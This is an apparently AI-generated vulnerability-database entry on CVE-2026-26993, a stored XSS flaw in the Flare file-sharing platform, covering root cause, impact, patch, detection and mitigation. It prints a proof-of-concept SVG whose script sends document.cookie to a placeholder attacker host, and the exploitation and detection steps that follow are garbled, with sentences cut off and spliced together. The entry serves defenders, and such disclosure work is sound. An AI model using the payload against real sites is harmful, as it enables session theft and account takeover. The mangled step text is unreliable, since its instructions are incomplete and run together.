
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-26993 is a stored Cross-Site Scripting (XSS) vulnerability in Flare, a Next.js-based self-hostable file sharing platform. Versions 1.7.0 and below allow authenticated users to upload files containing malicious JavaScript embedded in SVG, HTML, or XML formats, which executes in the application's origin context when a victim views the file in "raw" mode. The vulnerability was published on February 20, 2026, and patched in version 1.7.1 released on February 16, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly).
The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically the absence of content validation or sanitization on uploaded files. When a file containing embedded JavaScript (e.g., within an SVG's <script> tag) is served via the /raw endpoint, the application previously returned the file with its original MIME type and no restrictive security headers, allowing the browser to execute the embedded script in the application's origin. The fix, applied in commit 7763d7b, adds Content-Security-Policy: sandbox and X-Content-Type-Options: nosniff headers to both the raw file route (app/(raw)/[userUrlId]/[filename]/raw/route.ts) and the general file API route (app/api/files/[...path]/route.ts), preventing script execution and MIME-type sniffing (GitHub Commit, GitHub Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the application's origin, enabling session token theft, cookie exfiltration, and actions performed on behalf of authenticated users. Notably, even unauthenticated visitors who access a shared file link can be targeted — the attacker only needs a valid account to upload the malicious file, while victims do not need accounts. There is no availability impact, but confidentiality and integrity are both partially compromised through potential account takeover and unauthorized actions (GitHub Advisory).
A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including step-by-step instructions and a demonstration video (Flare_v1.7.0_XSS.git.mp4). The vulnerability requires low privileges (authenticated upload) and user interaction (victim must click "Raw"). There is no evidence of active in-the-wild exploitation at this time. The EPSS score is 0.01% (very low probability of exploitation in the near term), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The vulnerability was credited to researcher G3XAR (GitHub Advisory, Feedly).
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('http://<attacker-ip>/?c=' + document.cookie);
</script>
</svg>.svg (or .html/.xml) file to the Flare platform using the standard file upload functionality.python3 -m http.server 80)./?c=<session_token>)..svg, .html, or .xml files in the Flare upload directory containing <script> tags or JavaScript event handlers (e.g., onload, onerror)./raw or /api/files/ endpoints for SVG/HTML/XML files followed by unusual outbound connections from the server or client; repeated access to the same raw file URL from different IP addresses suggesting link sharing for phishing.image/svg+xml, text/html, text/xml) that contain embedded script content (GitHub Advisory).Upgrade Flare to version 1.7.1 or later, which adds Content-Security-Policy: sandbox and X-Content-Type-Options: nosniff headers to all file-serving routes, preventing script execution in raw file previews (GitHub Release, GitHub Commit). If immediate patching is not possible, consider disabling or restricting access to the raw file viewing feature, or blocking uploads of active content types (SVG, HTML, XML) at the application or reverse proxy level. Additionally, deploying a broad Content Security Policy at the application level can reduce the impact of any residual XSS vectors (GitHub Advisory).
The vulnerability was reported by researcher G3XAR and published by the Flare maintainer (FlintSH) as a GitHub Security Advisory rated "Moderate" on February 16, 2026. A brief technical write-up was published at infinitsec.net covering the XSS vulnerability in Flare's raw file preview feature. Red Hat also tracked the CVE in their security advisory database. No significant broader media coverage or notable community debate has been identified (GitHub Advisory, Red Hat).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."